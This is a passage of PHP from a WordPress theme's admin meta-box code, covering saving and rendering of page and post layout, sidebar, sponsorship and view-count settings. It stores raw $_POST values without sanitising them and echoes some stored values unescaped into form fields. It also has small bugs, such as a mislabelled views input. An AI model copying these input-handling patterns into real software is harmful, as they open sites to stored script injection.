				update_post_meta( $post_id, 'penci_header_layout', $_POST['penci_header_layout'] );
			}

			if ( isset( $_POST['penci_footer_builder_layout'] ) ) {
				update_post_meta( $post_id, 'penci_footer_builder_layout', $_POST['penci_footer_builder_layout'] );
			}

			if ( isset( $_POST['penci_single_builder_layout'] ) ) {
				update_post_meta( $post_id, 'penci_single_builder_layout', $_POST['penci_single_builder_layout'] );
			}

			if ( isset( $_POST['penci_sponsored_post'] ) ) {
				update_post_meta( $post_id, 'penci_sponsored_post', $_POST['penci_sponsored_post'] );
			}

			if ( isset( $_POST['penci_sponsored_logo'] ) ) {
				update_post_meta( $post_id, 'penci_sponsored_logo', $_POST['penci_sponsored_logo'] );
			}

			if ( isset( $_POST['penci_sponsored_url'] ) ) {
				update_post_meta( $post_id, 'penci_sponsored_url', $_POST['penci_sponsored_url'] );
			}

			if ( isset( $_POST['penci_sponsored_redirect'] ) ) {
				update_post_meta( $post_id, 'penci_sponsored_redirect', $_POST['penci_sponsored_redirect'] );
			}

			if ( isset( $_POST['penci_video_preview_url'] ) ) {
				update_post_meta( $post_id, 'penci_video_preview_url', $_POST['penci_video_preview_url'] );
			}

			if ( isset( $_POST['penci_video_preview'] ) ) {
				update_post_meta( $post_id, 'penci_video_preview', $_POST['penci_video_preview'] );
			}

			if ( isset( $_POST['penci_post_sources'] ) ) {
				update_post_meta( $post_id, 'penci_post_sources', $_POST['penci_post_sources'] );
			}

			$count_key  = penci_get_postviews_key();
			$count_wkey = 'penci_post_week_views_count';
			$count_mkey = 'penci_post_month_views_count';

			if ( isset( $_POST[ $count_key ] ) ) {
				update_post_meta( $post_id, $count_key, $_POST[ $count_key ] );
			}

			if ( isset( $_POST[ $count_wkey ] ) ) {
				update_post_meta( $post_id, $count_wkey, $_POST[ $count_wkey ] );
			}

			if ( isset( $_POST[ $count_mkey ] ) ) {
				update_post_meta( $post_id, $count_mkey, $_POST[ $count_mkey ] );
			}
		}

		if ( 'page' == $_POST['post_type'] ) {
			update_post_meta( $post_id, 'penci_page_slider', $slider );
			update_post_meta( $post_id, 'penci_page_display_featured_boxes', $featured_boxes );
			update_post_meta( $post_id, 'penci_page_display_title', $pagetitle );
			update_post_meta( $post_id, 'penci_page_breadcrumb', $breadcrumb );
			update_post_meta( $post_id, 'penci_page_sharebox', $sharebox );
			update_post_meta( $post_id, 'penci_page_rev_shortcode', $rev_shortcode );
			update_post_meta( $post_id, 'penci_page_hide_header', $hide_header );
			update_post_meta( $post_id, 'penci_page_hide_footer', $hide_footer );
			update_post_meta( $post_id, 'penci_sidebar_page_pos', $page_sidebar );
		}
	}

	/**
	 * Render Meta Box content.
	 *
	 * @param WP_Post $post The post object.
	 */
	public function render_meta_box_view_count( $post ) {

		// Add an nonce field so we can check for it later.
		wp_nonce_field( 'penci_inner_custom_box', 'penci_inner_custom_box_nonce' );

		// Use get_post_meta to retrieve an existing value from the database.
		$count_key  = penci_get_postviews_key();
		$count_wkey = 'penci_post_week_views_count';
		$count_mkey = 'penci_post_month_views_count';
		$count_dkey = 'penci_post_day_views_count';
		$count      = get_post_meta( $post->ID, $count_key, true ) ? get_post_meta( $post->ID, $count_key, true ) : 0;
		$count_w    = get_post_meta( $post->ID, $count_wkey, true ) ? get_post_meta( $post->ID, $count_wkey, true ) : 0;
		$count_m    = get_post_meta( $post->ID, $count_mkey, true ) ? get_post_meta( $post->ID, $count_mkey, true ) : 0;
		$count_d    = get_post_meta( $post->ID, $count_dkey, true ) ? get_post_meta( $post->ID, $count_dkey, true ) : 0;


		// Display the form, using the current value.
		?>
        <p><?php esc_html_e( 'You can change the view count for this post by change values below.', 'soledad' ); ?></p>
        <h2 style="font-weight: 600; font-size: 13px; padding-left: 0;"><?php esc_html_e( 'All Time Views', 'soledad' ); ?></h2>
        <p><input id="<?php echo $count_key . '_id'; ?>" name="<?php echo $count_key; ?>" type="number"
                  value="<?php echo absint( $count ); ?>"></p>

        <h2 style="font-weight: 600; font-size: 13px; padding-left: 0;"><?php esc_html_e( 'Today Views', 'soledad' ); ?></h2>
        <p><input id="<?php echo $count_dkey . '_id'; ?>" name="<?php echo $count_wkey; ?>" type="number"
                  value="<?php echo absint( $count_d ); ?>"></p>
                  
        <h2 style="font-weight: 600; font-size: 13px; padding-left: 0;"><?php esc_html_e( 'This Week Views', 'soledad' ); ?></h2>
        <p><input id="<?php echo $count_wkey . '_id'; ?>" name="<?php echo $count_wkey; ?>" type="number"
                  value="<?php echo absint( $count_w ); ?>"></p>

        <h2 style="font-weight: 600; font-size: 13px; padding-left: 0;"><?php esc_html_e( 'This Month Views', 'soledad' ); ?></h2>
        <p><input id="<?php echo $count_mkey . '_id'; ?>" name="<?php echo $count_mkey; ?>" type="number"
                  value="<?php echo absint( $count_m ); ?>"></p>
        <p style="font-size: 12px;"><?php _e( '<strong>Note that:</strong> If you don\'t see the weekly view count reset after installing the theme in some weeks, that means your hosting doesn\'t support <a href="https://developer.wordpress.org/reference/functions/wp_schedule_event/" target="_blank">wp_schedule_event</a> function from WordPress. So, if you want to get it to work, please contact your hosting provider and requirement them allows it.', 'soledad' ); ?></p>
		<?php
	}


	/**
	 * Render Meta Box content.
	 *
	 * @param WP_Post $post The post object.
	 */
	public function render_meta_box_content( $post ) {

		// Add an nonce field so we can check for it later.
		wp_nonce_field( 'penci_inner_custom_box', 'penci_inner_custom_box_nonce' );

		// Use get_post_meta to retrieve an existing value from the database.
		$value      = get_post_meta( $post->ID, 'penci_custom_sidebar_page_display', true );
		$value_left = get_post_meta( $post->ID, 'penci_custom_sidebar_left_page_field', true );


		$sidebar        = get_post_meta( $post->ID, 'penci_post_sidebar_display', true );
		$slider         = get_post_meta( $post->ID, 'penci_page_slider', true );
		$featured_boxes = get_post_meta( $post->ID, 'penci_page_display_featured_boxes', true );
		$pagetitle      = get_post_meta( $post->ID, 'penci_page_display_title', true );
		$breadcrumb     = get_post_meta( $post->ID, 'penci_page_breadcrumb', true );
		$sharebox       = get_post_meta( $post->ID, 'penci_page_sharebox', true );
		$rev_shortcode  = get_post_meta( $post->ID, 'penci_page_rev_shortcode', true );
		$single_style   = get_post_meta( $post->ID, 'penci_single_style', true );
		$hide_featuimg  = get_post_meta( $post->ID, 'penci_post_hide_featuimg', true );

		$hide_header               = get_post_meta( $post->ID, 'penci_page_hide_header', true );
		$hide_footer               = get_post_meta( $post->ID, 'penci_page_hide_footer', true );
		$pfeatured_image_ratio     = get_post_meta( $post->ID, 'penci_pfeatured_image_ratio', true );
		$penci_reading_time        = get_post_meta( $post->ID, 'penci_reading_time', true );
		$enable_parallax           = get_post_meta( $post->ID, 'penci_enable_jarallax_single', true );
		$penci_toc_enable          = get_post_meta( $post->ID, 'penci_toc_enable', true );
		$penci_helpful_enable      = get_post_meta( $post->ID, 'penci_helpful_enable', true );
		$penci_extra_author        = get_post_meta( $post->ID, 'penci_extra_author', true );
		$penci_extra_author_id     = get_post_meta( $post->ID, 'penci_extra_author_id', true );
		$page_sidebar              = get_post_meta( $post->ID, 'penci_sidebar_page_pos', true );
		$headerdf_layout           = get_post_meta( $post->ID, 'penci_header_layout', true );
		$headerbd_layout           = get_post_meta( $post->ID, 'penci_header_builder_layout', true );
		$footerbd_layout           = get_post_meta( $post->ID, 'penci_footer_builder_layout', true );
		$penci_header_block_layout = get_post_meta( $post->ID, 'penci_header_block_layout', true );
		$singlebd_layout           = get_post_meta( $post->ID, 'penci_single_builder_layout', true );
		$penci_post_critical_css   = get_post_meta( $post->ID, 'penci_post_critical_css', true );
		$penci_cpost_title         = get_post_meta( $post->ID, 'penci_cpost_title', true );
		$penci_sponsored_url       = get_post_meta( $post->ID, 'penci_sponsored_url', true );
		$penci_sponsored_post      = get_post_meta( $post->ID, 'penci_sponsored_post', true );
		$penci_sponsored_redirect  = get_post_meta( $post->ID, 'penci_sponsored_redirect', true );
		$penci_sponsored_logo      = get_post_meta( $post->ID, 'penci_sponsored_logo', true );
		$penci_video_preview       = get_post_meta( $post->ID, 'penci_video_preview', true );
		$penci_video_preview_url   = get_post_meta( $post->ID, 'penci_video_preview_url', true );
		$penci_page_dis_ads        = get_post_meta( $post->ID, 'penci_page_dis_ads', true );
		$penci_post_sources        = get_post_meta( $post->ID, 'penci_post_sources', true );


		$post_type_allow = penci_post_types_allow_meta_boxes();
		$post_type       = get_post_type( $post->ID );
		// Display the form, using the current value.

		$header_layout = [];
		$footer_layout = [];
		$single_layout = [];

		$header_layout[''] = esc_attr__( 'Default Settings' );
		$footer_layout[''] = esc_attr__( 'Default Settings' );
		$single_layout[''] = esc_attr__( 'Default Settings' );

		$header_layouts = get_posts( [
			'post_type'      => 'penci_builder',
			'posts_per_page' => - 1,
		] );
		foreach ( $header_layouts as $header ) {
			$header_layout[ $header->ID ] = $header->post_title;
		}

		$footer_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );
		foreach ( $footer_layouts as $footer ) {
			$footer_layout[ $footer->ID ] = $footer->post_title;
		}

		$single_layouts = get_posts( [
			'post_type'      => 'custom-post-template',
			'posts_per_page' => - 1,
		] );
		foreach ( $single_layouts as $slayout ) {
			$single_layout[ $slayout->post_name ] = $slayout->post_title;
		}
		?>

		<?php if ( 'page' == get_post_type( $post->ID ) ) {
			do_action( 'penci_page_metabox' );
			?>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Select Featured Slider/Featured
                        Video to
                        Display on Top of This Page?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_page_slider_field" name="penci_page_slider_field">
                            <option value="">None</option>
                            <option value="style-1" <?php selected( $slider, 'style-1' ); ?>><?php _e( 'Posts Featured Slider Style
                                1', 'soledad' ); ?>
                            </option>
                            <option value="style-2" <?php selected( $slider, 'style-2' ); ?>><?php _e( 'Posts Featured Slider Style
                                2', 'soledad' ); ?>
                            </option>
                            <option value="style-3" <?php selected( $slider, 'style-3' ); ?>><?php _e( 'Posts Featured Slider Style
                                3', 'soledad' ); ?>
                            </option>
                            <option value="style-4" <?php selected( $slider, 'style-4' ); ?>><?php _e( 'Posts Featured Slider Style
                                4', 'soledad' ); ?>
                            </option>
                            <option value="style-5" <?php selected( $slider, 'style-5' ); ?>><?php _e( 'Posts Featured Slider Style
                                5', 'soledad' ); ?>
                            </option>
                            <option value="style-6" <?php selected( $slider, 'style-6' ); ?>><?php _e( 'Posts Featured Slider Style
                                6', 'soledad' ); ?>
                            </option>
                            <option value="style-7" <?php selected( $slider, 'style-7' ); ?>><?php _e( 'Posts Featured Slider Style
                                7', 'soledad' ); ?>
                            </option>
                            <option value="style-8" <?php selected( $slider, 'style-8' ); ?>><?php _e( 'Posts Featured Slider Style
                                8', 'soledad' ); ?>
                            </option>
                            <option value="style-9" <?php selected( $slider, 'style-9' ); ?>><?php _e( 'Posts Featured Slider Style
                                9', 'soledad' ); ?>
                            </option>
                            <option value="style-10" <?php selected( $slider, 'style-10' ); ?>><?php _e( 'Posts Featured Slider
                                Style 10', 'soledad' ); ?>
                            </option>
                            <option value="style-11" <?php selected( $slider, 'style-11' ); ?>><?php _e( 'Posts Featured Slider
                                Style 11', 'soledad' ); ?>
                            </option>
                            <option value="style-12" <?php selected( $slider, 'style-12' ); ?>><?php _e( 'Posts Featured Slider
                                Style 12', 'soledad' ); ?>
                            </option>
                            <option value="style-13" <?php selected( $slider, 'style-13' ); ?>><?php _e( 'Posts Featured Slider
                                Style 13', 'soledad' ); ?>
                            </option>
                            <option value="style-14" <?php selected( $slider, 'style-14' ); ?>><?php _e( 'Posts Featured Slider
                                Style 14', 'soledad' ); ?>
                            </option>
                            <option value="style-15" <?php selected( $slider, 'style-15' ); ?>><?php _e( 'Posts Featured Slider
                                Style 15', 'soledad' ); ?>
                            </option>
                            <option value="style-16" <?php selected( $slider, 'style-16' ); ?>><?php _e( 'Posts Featured Slider
                                Style 16', 'soledad' ); ?>
                            </option>
                            <option value="style-17" <?php selected( $slider, 'style-17' ); ?>><?php _e( 'Posts Featured Slider
                                Style 17', 'soledad' ); ?>
                            </option>
                            <option value="style-18" <?php selected( $slider, 'style-18' ); ?>><?php _e( 'Posts Featured Slider
                                Style 18', 'soledad' ); ?>
                            </option>
                            <option value="style-19" <?php selected( $slider, 'style-19' ); ?>><?php _e( 'Posts Featured Slider
                                Style 19', 'soledad' ); ?>
                            </option>
                            <option value="style-20" <?php selected( $slider, 'style-20' ); ?>><?php _e( 'Posts Featured Slider
                                Style 20', 'soledad' ); ?>
                            </option>
                            <option value="style-21" <?php selected( $slider, 'style-21' ); ?>><?php _e( 'Posts Featured Slider
                                Style 21', 'soledad' ); ?>
                            </option>
                            <option value="style-22" <?php selected( $slider, 'style-22' ); ?>><?php _e( 'Posts Featured Slider
                                Style 22', 'soledad' ); ?>
                            </option>
                            <option value="style-23" <?php selected( $slider, 'style-23' ); ?>><?php _e( 'Posts Featured Slider
                                Style 23', 'soledad' ); ?>
                            </option>
                            <option value="style-24" <?php selected( $slider, 'style-24' ); ?>><?php _e( 'Posts Featured Slider
                                Style 24', 'soledad' ); ?>
                            </option>
                            <option value="style-25" <?php selected( $slider, 'style-25' ); ?>><?php _e( 'Posts Featured Slider
                                Style 25', 'soledad' ); ?>
                            </option>
                            <option value="style-26" <?php selected( $slider, 'style-26' ); ?>><?php _e( 'Posts Featured Slider
                                Style 26', 'soledad' ); ?>
                            </option>
                            <option value="style-27" <?php selected( $slider, 'style-27' ); ?>><?php _e( 'Posts Featured Slider
                                Style 27', 'soledad' ); ?>
                            </option>
                            <option value="style-28" <?php selected( $slider, 'style-28' ); ?>><?php _e( 'Posts Featured Slider
                                Style 28', 'soledad' ); ?>
                            </option>
                            <option value="style-29" <?php selected( $slider, 'style-29' ); ?>><?php _e( 'Posts Featured Slider
                                Style 29', 'soledad' ); ?>
                            </option>
                            <option value="style-30" <?php selected( $slider, 'style-30' ); ?>><?php _e( 'Posts Featured Slider
                                Style 30', 'soledad' ); ?>
                            </option>
                            <option value="style-31" <?php selected( $slider, 'style-31' ); ?>><?php _e( 'Penci Slider Style 1', 'soledad' ); ?>
                            </option>
                            <option value="style-32" <?php selected( $slider, 'style-32' ); ?>><?php _e( 'Penci Slider Style 2', 'soledad' ); ?>
                            </option>
                            <option value="style-33" <?php selected( $slider, 'style-33' ); ?>><?php _e( 'Revolution Slider Full
                                Width', 'soledad' ); ?>
                            </option>
                            <option value="style-34" <?php selected( $slider, 'style-34' ); ?>><?php _e( 'Revolution Slider In
                                Container', 'soledad' ); ?>
                            </option>
                            <option value="style-35" <?php selected( $slider, 'style-35' ); ?>><?php _e( 'Posts Featured Slider
                                Style 35', 'soledad' ); ?>
                            </option>
                            <option value="style-36" <?php selected( $slider, 'style-36' ); ?>><?php _e( 'Posts Featured Slider
                                Style 36', 'soledad' ); ?>
                            </option>
                            <option value="style-37" <?php selected( $slider, 'style-37' ); ?>><?php _e( 'Posts Featured Slider
                                Style 37', 'soledad' ); ?>
                            </option>
                            <option value="style-38" <?php selected( $slider, 'style-38' ); ?>><?php _e( 'Posts Featured Slider
                                Style 38', 'soledad' ); ?>
                            </option>
                            <option value="style-40" <?php selected( $slider, 'style-40' ); ?>><?php _e( 'Posts Featured Slider
                                Style 39', 'soledad' ); ?>
                            <option value="style-41" <?php selected( $slider, 'style-41' ); ?>><?php _e( 'Posts Featured Slider
                                Style 40', 'soledad' ); ?>
                            <option value="style-42" <?php selected( $slider, 'style-42' ); ?>><?php _e( 'Posts Featured Slider
                                Style 41', 'soledad' ); ?>
                            <option value="style-44" <?php selected( $slider, 'style-44' ); ?>><?php _e( 'Posts Featured Slider
                                Style 42', 'soledad' ); ?>
                            </option>
                            <option value="video" <?php selected( $slider, 'video' ); ?>><?php _e( 'Featured Video Background', 'soledad' ); ?>
                            </option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Revolution Slider Shortcode', 'soledad' ); ?></h2>
                    <p class="description"><?php _e( 'If you select Revolution Slider above, please fill Revolution Slider
                        Shortcode here', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <textarea style="width: 100%; height: 50px;"
                              name="penci_page_rev_shortcode"><?php if ( $rev_shortcode ): echo $rev_shortcode; endif; ?></textarea>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Display Featured Boxes?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_display_featured_boxes" name="penci_page_display_featured_boxes">
                            <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $featured_boxes, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Display Page Title?', 'soledad' ); ?></h2>
                    <p class="descriptions"><?php _e( 'By default, this option will follow on Customizer settings', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_display_title_field" name="penci_page_display_title_field">
                            <option value=""><?php _e( 'Default', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $pagetitle, 'no' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $pagetitle, 'no' ); ?>><?php _e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Display Breadcrumb on This
                        Page?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_breadcrumb_field" name="penci_page_breadcrumb_field">
                            <option value=""><?php _e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $breadcrumb, 'no' ); ?>><?php _e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Display Share Box on This Page?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_sharebox_field" name="penci_page_sharebox_field">
                            <option value=""><?php _e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $sharebox, 'no' ); ?>><?php _e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">


                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Hide Header on This Page?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_hide_header_field" name="penci_page_hide_header_field">
                            <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $hide_header, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Hide Footer on This Page?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_hide_footer_field" name="penci_page_hide_footer_field">
                            <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $hide_footer, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Select Sidebar Position for This
                        Page', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'This option just apply for Page Template "Page with Sidebar" and "Page VC Builder with Sidebar"', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_sidebar_page_pos" name="penci_sidebar_page_pos">
                            <option value=""><?php esc_html_e( "Default", "soledad" ); ?></option>
                            <option value="left-sidebar" <?php selected( $page_sidebar, 'left-sidebar' ); ?>><?php esc_html_e( "Left Sidebar", "soledad" ); ?></option>
                            <option value="right-sidebar" <?php selected( $page_sidebar, 'right-sidebar' ); ?>><?php esc_html_e( "Right Sidebar", "soledad" ); ?></option>
                            <option value="two-sidebar" <?php selected( $page_sidebar, 'two-sidebar' ); ?>><?php esc_html_e( "Two Sidebar", "soledad" ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
		<?php } ?>

		<?php if ( in_array( $post_type, $post_type_allow ) ) { ?>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Hide Featured Image Auto Appears on
                        This
                        Post?', 'soledad' ); ?></h2>
                    <p class="description">
						<?php esc_html_e( 'This option only applies to Single Post Template Styles 1 & 2.', 'soledad' ); ?>
                        <br>
						<?php esc_html_e( 'if you wish to hide Featured Images from automatically appearing on all posts, you can select the option to do so by going to Customize > Single Posts > General > Hide Featured Image on Top.', 'soledad' ); ?>
                    </p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_post_hide_featuimg" name="penci_post_hide_featuimg">
                            <option value=""><?php esc_html_e( 'Default ( follow Customize )', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $hide_featuimg, 'no' ); ?>><?php esc_html_e( 'No, Show Featured Image', 'soledad' ); ?>
                            </option>
                            <option value="yes" <?php selected( $hide_featuimg, 'yes' ); ?>><?php esc_html_e( 'Yes, Hide Featured Image', 'soledad' ); ?>
                            </option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Post Title on Single Post
                        Page', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'You can enter a custom post title to be displayed on the single post page
                        that is different from the post title shown on archive pages.', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <textarea style="width: 100%; height: 50px;"
                              placeholder="<?php esc_html_e( 'Enter the custom single post title', 'soledad' ); ?>"
                              id="penci_cpost_title"
                              name="penci_cpost_title"><?php echo $penci_cpost_title; ?></textarea>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Reading Time', 'soledad' ); ?></h2>
                    <p class="description"><?php _e( 'Please fill in the estimated reading time for this post. For example: 3
                        mins<br>If you want to set a default reading time value for all posts, you can do so by going to
                        <strong>Customize > General >
                            General Settings > Set A Default Reading Time Value</strong>', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p><input placeholder="<?php esc_html_e( 'Enter the custom post reading time', 'soledad' ); ?>"
                              id="penci_reading_time"
                              name="penci_reading_time" type="text"
                              value="<?php echo esc_attr( $penci_reading_time ); ?>"></p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Sidebar Layout for this post?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_post_sidebar_display" name="penci_post_sidebar_display">
                            <option value=""><?php _e( 'Default Value ( on Customize )', 'soledad' ); ?></option>
                            <option value="left" <?php selected( $sidebar, 'left' ); ?>><?php _e( 'Left Sidebar', 'soledad' ); ?></option>
                            <option value="right" <?php selected( $sidebar, 'right' ); ?>><?php _e( 'Right Sidebar', 'soledad' ); ?></option>
                            <option value="two" <?php selected( $sidebar, 'two' ); ?>><?php _e( 'Two Sidebar', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $sidebar, 'no' ); ?>><?php _e( 'No Sidebar', 'soledad' ); ?></option>
                            <option value="small_width" <?php selected( $sidebar, 'small_width' ); ?>><?php _e( 'No Sidebar with
                                Container Width Smaller', 'soledad' ); ?>
                            </option>
                        </select>
                    </p>
                </div>
            </div>
		<?php } ?>
        <div class="pcmt-control-wrapper">
            <div class="pcmt-title">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Sidebar for This Posts/Page', 'soledad' ); ?></h2>
                <p class="description"><?php esc_html_e( 'Note: for pages, you can choose whether or not to display a sidebar in the "Page with Sidebar" template and customize the sidebar there. if the sidebar you choose here is empty, the sidebar you chose for the page in Customize will be displayed.', 'soledad' ); ?></p>
            </div>
            <div class="pcmt-control">
                <p>
                    <select id="penci_custom_sidebar_page_field" name="penci_custom_sidebar_page_field">
                        <option value=""><?php esc_html_e( "Default Sidebar( on Customize )", "soledad" ); ?></option>
                        <option value="main-sidebar" <?php selected( $value, 'main-sidebar' ); ?>><?php esc_html_e( "Main Sidebar", "soledad" ); ?></option>
                        <option value="main-sidebar-left" <?php selected( $value, 'main-sidebar-left' ); ?>><?php esc_html_e( "Main Sidebar Left", "soledad" ); ?></option>
                        <option value="custom-sidebar-1" <?php selected( $value, 'custom-sidebar-1' ); ?>><?php esc_html_e( "Custom Sidebar 1", "soledad" ); ?></option>
                        <option value="custom-sidebar-2" <?php selected( $value, 'custom-sidebar-2' ); ?>><?php esc_html_e( "Custom Sidebar 2", "soledad" ); ?></option>
                        <option value="custom-sidebar-3" <?php selected( $value, 'custom-sidebar-3' ); ?>><?php esc_html_e( "Custom Sidebar 3", "soledad" ); ?></option>
                        <option value="custom-sidebar-4" <?php selected( $value, 'custom-sidebar-4' ); ?>><?php esc_html_e( "Custom Sidebar 4", "soledad" ); ?></option>
                        <option value="custom-sidebar-5" <?php selected( $value, 'custom-sidebar-5' ); ?>><?php esc_html_e( "Custom Sidebar 5", "soledad" ); ?></option>
                        <option value="custom-sidebar-6" <?php selected( $value, 'custom-sidebar-6' ); ?>><?php esc_html_e( "Custom Sidebar 6", "soledad" ); ?></option>
                        <option value="custom-sidebar-7" <?php selected( $value, 'custom-sidebar-7' ); ?>><?php esc_html_e( "Custom Sidebar 7", "soledad" ); ?></option>
                        <option value="custom-sidebar-8" <?php selected( $value, 'custom-sidebar-8' ); ?>><?php esc_html_e( "Custom Sidebar 8", "soledad" ); ?></option>
                        <option value="custom-sidebar-9" <?php selected( $value, 'custom-sidebar-9' ); ?>><?php esc_html_e( "Custom Sidebar 9", "soledad" ); ?></option>
                        <option value="custom-sidebar-10" <?php selected( $value, 'custom-sidebar-10' ); ?>><?php esc_html_e( "Custom Sidebar 10", "soledad" ); ?></option>
						<?php Penci_Custom_Sidebar::get_list_sidebar( $value ); ?>
                    </select>
                </p>
            </div>
        </div>
        <div class="pcmt-control-wrapper">
            <div class="pcmt-title">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Sidebar Left for This
                    Posts/Page', 'soledad' ); ?></h2>
                <p class="description"><?php esc_html_e( 'Note: for pages, you can choose to display or hide the sidebar using the "Page with Sidebar" template and customize the sidebar here. if the sidebar you choose here is empty, the sidebar you chose for the page in Customize will be displayed.', 'soledad' ); ?></p>
            </div>
            <div class="pcmt-control">
                <p>
                    <select id="penci_custom_sidebar_left_page_field" name="penci_custom_sidebar_left_page_field">
                        <option value=""><?php esc_html_e( "Default Sidebar( on Customize )", "soledad" ); ?></option>
                        <option value="main-sidebar" <?php selected( $value_left, 'main-sidebar' ); ?>><?php esc_html_e( "Main Sidebar", "soledad" ); ?></option>
                        <option value="main-sidebar-left" <?php selected( $value_left, 'main-sidebar-left' ); ?>><?php esc_html_e( "Main Sidebar Left", "soledad" ); ?></option>
                        <option value="custom-sidebar-1" <?php selected( $value_left, 'custom-sidebar-1' ); ?>><?php esc_html_e( "Custom Sidebar 1", "soledad" ); ?></option>
                        <option value="custom-sidebar-2" <?php selected( $value_left, 'custom-sidebar-2' ); ?>><?php esc_html_e( "Custom Sidebar 2", "soledad" ); ?></option>
                        <option value="custom-sidebar-3" <?php selected( $value_left, 'custom-sidebar-3' ); ?>><?php esc_html_e( "Custom Sidebar 3", "soledad" ); ?></option>
                        <option value="custom-sidebar-4" <?php selected( $value_left, 'custom-sidebar-4' ); ?>><?php esc_html_e( "Custom Sidebar 4", "soledad" ); ?></option>
                        <option value="custom-sidebar-5" <?php selected( $value_left, 'custom-sidebar-5' ); ?>><?php esc_html_e( "Custom Sidebar 5", "soledad" ); ?></option>
                        <option value="custom-sidebar-6" <?php selected( $value_left, 'custom-sidebar-6' ); ?>><?php esc_html_e( "Custom Sidebar 6", "soledad" ); ?></option>
                        <option value="custom-sidebar-7" <?php selected( $value_left, 'custom-sidebar-7' ); ?>><?php esc_html_e( "Custom Sidebar 7", "soledad" ); ?></option>
                        <option value="custom-sidebar-8" <?php selected( $value_left, 'custom-sidebar-8' ); ?>><?php esc_html_e( "Custom Sidebar 8", "soledad" ); ?></option>
                        <option value="custom-sidebar-9" <?php selected( $value_left, 'custom-sidebar-9' ); ?>><?php esc_html_e( "Custom Sidebar 9", "soledad" ); ?></option>
                        <option value="custom-sidebar-10" <?php selected( $value_left, 'custom-sidebar-10' ); ?>><?php esc_html_e( "Custom Sidebar 10", "soledad" ); ?></option>
						<?php Penci_Custom_Sidebar::get_list_sidebar( $value_left ); ?>
                    </select>
                </p>
            </div>
        </div>

		<?php if ( in_array( $post_type, $post_type_allow ) ) { ?>
